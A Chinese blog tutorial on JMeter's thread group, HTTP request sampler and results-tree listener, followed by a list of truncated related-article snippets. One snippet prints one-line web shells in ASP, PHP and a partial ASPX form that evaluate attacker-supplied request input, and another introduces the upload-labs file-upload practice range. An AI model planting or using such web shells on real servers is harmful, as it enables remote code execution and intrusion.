Jmeter三个常用组件

Jmeter三个常用组件

    • 一、线程组
    • 二、 HTTP请求
    • 三、查看结果树

线程组:jmeter是基于线程来运行的,线程组主要用来管理线程的数量,线程的执行策略。
HTTP请求:HTTP请求是jmeter接口测试的核心部分,主要使用HTTP取样器来发送接口请求
查看结果树:通过HTTP取样器发送接口请求后,服务器返回的结果需要通过查看结果树进行查看。

一、线程组

添加方法:测试计划->添加->线程(用户)->线程组
作用:线程组代表一定数量的并发用户,用于模拟并发用户发送请求。
常用配置:线程数、Ramp-Up Period(启动延迟)、循环次数等。
在这里插入图片描述

线程数(Number of Threads):模拟的并发用户数,即用户数量
启动延迟(Ramp-Up Period):每个线程启动的间隔时间,注意,第1个线程,0秒启动。
循环次数(Loop Count):每个线程要执行的循环次数,可以设置为具体的次数或设置为永远循环。
延迟创建线程直到需要:解决Ramp-up时间的问题。勾选之后,每个线程的启动的间隔时间会变成60/(60-1)。没有勾选,每个线程的启动的间隔时间会变成60/60
调度器配置(Scheduler Configuration):用于设置线程组的启动和停止时间,可以按照特定的时间表进行配置。

持续时间:所有线程运行的最大时间。
注意:如果启动线程给服务器发送请求,由于发送请求后,会阻塞线程,让线程等待服务器响应,所以,如果服务器没有返回响应数据之间,线程会进入等待状态,从而无法停止,导致超过设置的最大时间。
启动延迟:启动线程要等待的时间。

二、 HTTP请求

添加方法:线程组->右键添加->取样器->HTTP请求
在这里插入图片描述

web服务器
①协议:填写URL的协议部分的内容。注意不要直接写查询参数等其他参数在url需要写在下方的路径处。
②服务器名称或IP:填写URL中域名部分的内容。如www.baidu.com
③端口号:填写URL中端口部分的内容。如80

HTTP请求
①方法:设置请求方法

注意:
当请求方法是Get请求时,参数是查询参数 当请求方法是Post请求时,参数是请求体数据(表单格式请求体)

②路径:设置资源路径和查询参数
③内容编码:设置请求数据的编码类型。如utf-8,服务器才能识别url中的中文或者特殊字符

①参数:设置查询参数和请求体数据
②消息体数据 自定义的请求体数据,注意:与参数只能选择一个填写。如xml、json等格式数据
③文件上传 定义要上传的文件

三、查看结果树

添加方法:线程组->添加->监听器->查看结果树
作用:发送请求后,可以在查看结果树中,查看取样器的运行结果。
运行结果包括了经过jmeter处理之后的请求数据和响应数据
在这里插入图片描述

文件名:选择把结果保存到文件,不写时不保存。比如需要生成测试报告,需要这个文件的数据 Text:可以选择查看响应数据的方式
查找:搜索左侧侧边栏的请求
取样器结果:在选择了Text格式查看数据时会显示,主要查看一些综合信息,包括接口请求时间,数据包大小等等。
请求:查看接口的所有请求数据,包括请求行、请求头和请求体。这个数据经过了jmeter处理,所以可以用来分析meter处理请求的过程中有没有出现问题。
响应:查看接口的所有响应数据,包括状态、响应头、响应体。

简要总结:Jmeter的线程组、HTTP请求和查看结果树是进行接口自动化测试最重要的三个组件,三个组件必须联合使用。

说在最后的话:编写实属不易,若喜欢或者对你有帮助记得点赞+关注或者收藏哦~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/824748.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数仓中的数据倾斜问题

- 如何来判断是否发生了数据倾斜问题: 可以根据Spark 的webUI 中的相关指标来判断 spark webUI中的stages 页面的中就是stage数量 : 宽依赖数(shuffle 数量)导致宽依赖的算子数 n(读取表的数量) 点击不…

Android 12 如何加载 native 原生库

在 Android 7.0 及更高版本中,系统库与应用库是分开的。 图1. 原生库的命名空间 原生库的命名空间可防止应用使用私有平台的原生 API(例如使用 OpenSSL)。该命名空间还可以避免应用意外使用平台库(而非它们自己的库)的…

ES源码四:网络通信层流程

听说ES网络层很难?今天来卷它😄 前言 ES网络层比较复杂,分为两个部分: 基于HTTP协议的REST服务端基于TCP实现的PRC框架 插件化设计的网络层模块(NetworkModule) 入口还是上一章的创建Node构造方法的地方…

mysqlslap压力测试和线程池

目录 1. mysqlslap介绍 2. mysqlslap常用参数 3. 开始测试 3.1 单线程 3.2 多线程 3.3 50和100个并发 3.4 迭代测试 4.结果解释 5.线程池 5.1 开启线程池 5.2 关于线程池的参数 1. mysqlslap介绍 mysqlslap是一个诊断程序,旨在模拟客户端并发访问MySQ…

【MySQL 安装与配置】Window简单安装MySQL,并配置局域网连接

文章日期:2024.04.17 系统:Window10 || Window11 类型:安装与配置MySQL数据库 文章全程已做去敏处理!!! 【需要做的可联系我】 AES解密处理(直接解密即可)(crypto-js.js…

系统稳定性建设

说到系统稳定性,不知道大家会想起什么?大多数人会觉得这个词挺虚的,不知道系统稳定性指的是什么。 一年前看到这个词,也是类似于这样的感受,大概只知道要消除单点、做好监控报警,但却并没有一个体系化的方…

一句话木马

asp一句话木马&#xff1a; <%execute(request("value"))%> php一句话木马&#xff1a; <?phpeval($_POST[value]);?> 变形&#xff1a;<?php$x$_GET[‘z’];eval(“$x;”);?> aspx一句话木马&#xff1a; <% PageLanguage"Jscri…

记录一下我102连不上MySQL的问题 NotBefore

【背景描述】我在102上是能登录上MySQL的&#xff0c;但是用客户端&#xff08;DataGrip、SQLyog就连不上&#xff09; 【解决方案】 加个这个?useSSLfalse&serverTimezoneUTC 【另外的小问题】如果直接输mysql 上面这个不是报错&#xff0c;不用管 再输mysql -uroot -p…

Golang学习笔记_RabbitMQ的原理架构和使用

RabbitMQ 简介 实现了高级消息队列协议&#xff08;Advanced Message Queuing Protcol&#xff09;AMQP消息队列中间件的作用&#xff08;Redis实现MQ里面有写过&#xff0c;这里简单带过&#xff09; 解耦削峰异步处理缓存消息通信提高扩展性 RabbitMQ 架构理解 #mermaid-s…

upload-labs靶场详解

靶场环境 下载链接&#xff1a;https://codeload.github.com/c0ny1/upload-labs/zip/refs/heads/master 使用小皮集成环境来完成这个靶场 将文件放到WWW目录下就可以进行访问 进入关卡后页面呈现&#xff1a; Pass-01&#xff08;前端绕过&#xff09; 我们先尝试上传一个web.…

[svelte]属性和逻辑块

属性 / Default values • Svelte 教程 | Svelte 中文网 属性 Declaring props 到目前为止&#xff0c;我们只处理了内部状态——也就是说&#xff0c;这些值只能在给定的组件中访问。 在任何实际应用程序中&#xff0c;都需要将数据从一个组件向下传递到其子组件。为此&…

【Spring】-编程式事务和声明式事务

spring中控制事务的方式有两种&#xff1a;编程式事务和声明式事务&#xff0c;今天我以两种事务出发&#xff0c;对spring中实现事务的EnableTransactionManagement和Transaction两个注解的底层原理进行讨论。 一、编程式事务 什么是编程式事务&#xff1f; 硬编码的方式实现…

Adobe将Sora、Runway、Pika,集成在PR中

4月15日晚&#xff0c;全球多媒体巨头Adobe在官网宣布&#xff0c;将OpenAI的Sora、Pika 、Runway等著名第三方文生视频模型&#xff0c;集成在视频剪辑软件Premiere Pro中&#xff08;简称“PR”&#xff09;。 同时&#xff0c;Adob也会将自身研发的Firefly系列模型包括视频…

【Python】高级进阶(专版提升3)

Python 1 程序结构1.1 模块 Module1.1.1 定义1.1.2 作用1.1.3 导入1.1.3.1 import1.1.3.2 from import 1.1.4 模块变量1.1.5 加载过程1.1.6 分类 1.2 包package1.2.1 定义1.2.2 作用1.2.3 导入1.1.3.1 import1.1.3.2 from import 2 异常处理Error2.1 异常2.2 处理 3 迭代3.1 可…

InfluxDB v1.8

数据存储模型 points(数据点)time(时间戳)measurement(测量指标)field(测量值 key-value)至少一个tag(标签 key-value)零或多个和MySQL对比 series是共享同一个retention policy,measurement以及tag set的数据集合 InfluxDBMySQLmeasurementtablepointscoltagrow(with index)…

Three.js 入门——核心概念和坐标系理解

Three.js 是什么&#xff1f; 一个封装了 WebGL 的库&#xff0c;简化 WebGL 的使用 WebGL vs OpenGL OpenGL 主要被认为是一种 API&#xff08;应用程序编程接口&#xff09;&#xff0c;它为我们提供了大量可用于操作图形和图像的函数&#xff0c;主要用 C语言编写的。 然…

python辅助QQ登入

python辅助QQ登入 import pyautogui import time import random from pyautogui import ImageNotFoundException# 生成随机等待时间&#xff0c;范围在1到3秒之间 random_time random.uniform(1, 3)def find_and_click(image_path, moveFalse, execute_nextTrue):try:image_l…

【QT学习】7.事件,把文本显示在页面中(文本可变),鼠标指针切换,鼠标左键右键按下,qt设置背景样式

0.创建项目&#xff0c;事件的创建 1.事件的位置 2.这就是多态&#xff0c;子类重写父类函数&#xff0c;子类调用子类函数&#xff0c;也可以调用父类函数。但同函数名 1.要求&#xff1a;文本显示在页面中&#xff08;文本可变&#xff09; 1.文本显示在页面的核心代码 主要步…

vue3通过事件总线不同组件之间传递消息(两个组件可以没有任何关系)

首先在main.js中定义 const app createApp(App) app.config.globalProperties.$eventBus new mitt() // 创建全局事件总线对象然后在发送事件的组件中写&#xff08;js和ts导入方式不太一样&#xff0c;用法一样&#xff09; <script setup> import {getCurrentInsta…

DRF requets源码分析

【四】requets源码分析 【1】查看request传递的数据 &#xff08;1&#xff09;视图层 编写传输数据的接口查看request方法的参数 class BookAPIView(APIView):def get(self, request, *args, **kwargs):return Response({body: request.body, data: request.data, post: r…